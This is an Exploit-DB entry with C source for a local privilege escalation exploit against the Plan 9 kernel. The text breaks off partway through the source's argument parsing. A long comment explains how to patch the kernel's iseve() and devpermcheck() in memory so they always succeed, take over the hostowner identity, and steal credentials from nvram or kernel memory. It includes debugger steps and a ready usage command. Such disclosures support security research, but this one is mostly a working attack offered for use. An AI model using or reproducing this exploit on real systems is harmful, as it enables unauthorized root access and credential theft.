Exploit-DB #3383
Description: Plan 9 Kernel - 'devenv.c OTRUNC/pwrite' Local Privilege Escalation
Type: local
Platform: plan9
Date: 2007-02-28
Author: Don Bailey

Exploit:
/* !!! DO NOT DISTRIBUTE !!! */

/* identity theft 
 *
 * this exploit uses my devenv.c OTRUNC/pwrite vulnerability
 * to overwrite specific kernel addresses to help elevate our
 * privileges. this exploit is *very* picky, so you *must*
 * understand the plan9 kernel and know what you are
 * doing, though a best-practice usage example will 
 * guide new users.
 *
 * the exploit process is:
 *	1) determine the user we're running as
 *	2) determine the hostowner for the server
 *	3) overwrite specific kernel addresses
 *	4) write our username to  '#c/hostowner' 
 *	5) steal credentials by copying nvram or paging
 *		through kernel memory for resident creds
 *	6) reset previously overwritten functions 
 *	7) write the original username back to '#c/hostowner'
 *
 * a best practice usage example is to overwrite iseve() so
 * the kernel is tricked into thinking we're the host owner. 
 * secondly, we can overwrite devpermcheck() to trick the
 * kernel into thinking we have permissions to access any
 * given in-kernel device file. this will give us immediate
 * access to things like /srv/fscons and '#S/sdC0/nvram'. 
 *
 * to get the address you want to overwrite, use the plan9
 * debugger after you figure out which kernel the system
 * is booting:
 *
 * cpu% acid /386/9pccpu
 * /386/9pccpu:386 plan 9 boot image
 *
 * /sys/lib/acid/port
 * /sys/lib/acid/386
 * acid: print(iseve)
 * 0xf018d3db
 * acid: mem(iseve, "X")
 * 0x8b0cec83
 * acid: print(devpermcheck)
 * 0xf0192a6b
 * acid: mem(devpermcheck, "X")
 * 0x8b14ec83
 * acid: ^D
 * cpu% ./itheft -n -o nvram.img -s 0,1024 \
 *	-k 0xf018d3db,83ec0c8b,31c040c3 \
 *	-k 0xf0192a6b,83ec148b,31c040c3
 *
 * as you can see, we overwrite the function addresses in 
 * kmem with:
 *
 *	xorl %eax, %eax
 *	incl %eax
 *	retl
 *
 * a note on exploit effects. 
 * when we overwrite '#c/hostowner', the kernel 
 * automatically changes all processes owned by the 
 * previous hostowner id to the new id. when the exploit
 * has obtained the target information from the kernel, it
 * will write the previous hostowner id to '#c/hostowner'. 
 * since *your* id was now just the hostowner id, this 
 * second write will alter *your* bin/rc instance's owner
 * to the id of the original hostowner. this may seem 
 * desirable, however it isn't. the reason is that despite 
 * having access to the hostowner's name, we don't have
 * access to the hostowner's credentials. thus, access to
 * their files and factotum is still disabled. 
 * 
 * therefore, it's best to immediately exit your CPU shell
 * once the exploit is finished. 
 *
 * lastly, when using a target of Tmem, expect a kernel 
 * panic when you trigger a page fault with a bad address. 
 * make sure you define an appropriate base and ceiling 
 * when paging through memory. 
 *
 * NB: it'd be nice to have a memory disclosure exploit that's
 * as reliable as this one to help verify whether or not the 
 * kernel addresses are as expected (whether or not we've
 * ran bin/acid on the appropriate kernel and obtained the
 * correct kernel addresses)
 *
 * Don "north" Bailey 12/27/06
 * don.bailey@gmail.com
 *
 * you say the hill is too steep to climb
 * you say you'd like to see me try
 * you pick the place and I'll choose the time
 * and I'll climb the hill in my own way
 *  - gilmour/waters
 */

#include <u.h>
#include <libc.h>

enum
{
	False,
	True,
};

enum
{
	Anew,
	Aold,
};

enum
{
	Tmem,
	Tnvram,
};

typedef struct Seg Seg;
typedef struct Kfunc Kfunc;

struct
Seg
{
	ulong base;
	ulong ceiling;
};

struct
Kfunc
{
	int nnew;
	int nold;
	vlong addr;
	uchar * new;
	uchar * old;
	Kfunc * next; 
};

static int outfd;
static int envfd;
static char * us;
static Seg * seg;
static int pagesz;
static Kfunc * kf;
static char * them;
static char * outfile;
static char * envpath;
static int target = Tnvram;

static int spin(void);
static int steal(void);
static int kwrite(int);
static void usage(void);
static int addk(char * );
static int envfile(void);
static uchar gethex(char);
static void cleanup(void);
static int getpagesz(void);
static int envremove(void);
static int addseg(char * );
static void delk(Kfunc ** );
static int myidentity(void);
static int stealfile(char * );
static int youridentity(void);
static int sethostowner(char * );
static void err(const char *, ... );
static void msg(const char *, ... );
static int arguments(int, char ** );
static int userfile(char *, char ** );
static void xstrdup(char *, char ** );
static int parsebytes(char *, uchar **, int * );

void
main(int argc, char * argv[])
{
	int e;

	e = arguments(argc, argv);
	if(!e)
		usage();
	else
		e = spin();

	cleanup();

	if(e)
		exits(nil);

	exits("you suck as a thief");
}

static void
cleanup(void)
{
	Kfunc * k;
	Kfunc * l;

	if(us)
		free(us);
	if(seg)
		free(seg);
	if(them)
		free(them);
	if(outfile)
		free(outfile);
	if(envpath)
		free(envpath);

	if(envfd > 0)
		close(envfd);
	if(outfd > 0)
		close(outfd);

	for(k = kf; k; k = l)
	{
		l = k->next;
		delk(&k);
	}
}

static void
usage(void)
{
	fprint(
		2, 
		"usage: ithief [-{n|m}] -s base,ceiling "
		"-o outfile -k ... [-k ... ]\n");
}

static int
arguments(int argc, char ** argv)
{
	char * p;

	ARGBEGIN
	{
	case 'n':
		{
			target = Tnvram;
			break;
		}
	case 'm':
		{
			target = Tmem;
			break;
		}
	case 's':
		{
			p = ARGF();
			if(!p)
			{
				err("option 's' needs an argument");
				return False;
			}

			if(!addseg(p))
				return False;

			break;
		}
	case 'k':
		{
			p = ARGF();
			if(!p)
			{
				err("option 'k' needs an argument");
				return False;
			}

			if(!addk(p))
				return False;

			break;
		}
	case 'o':
		{
			p = ARGF();
			if(!p)
			{
				err("option 'o' needs an argument");
				return False;
			}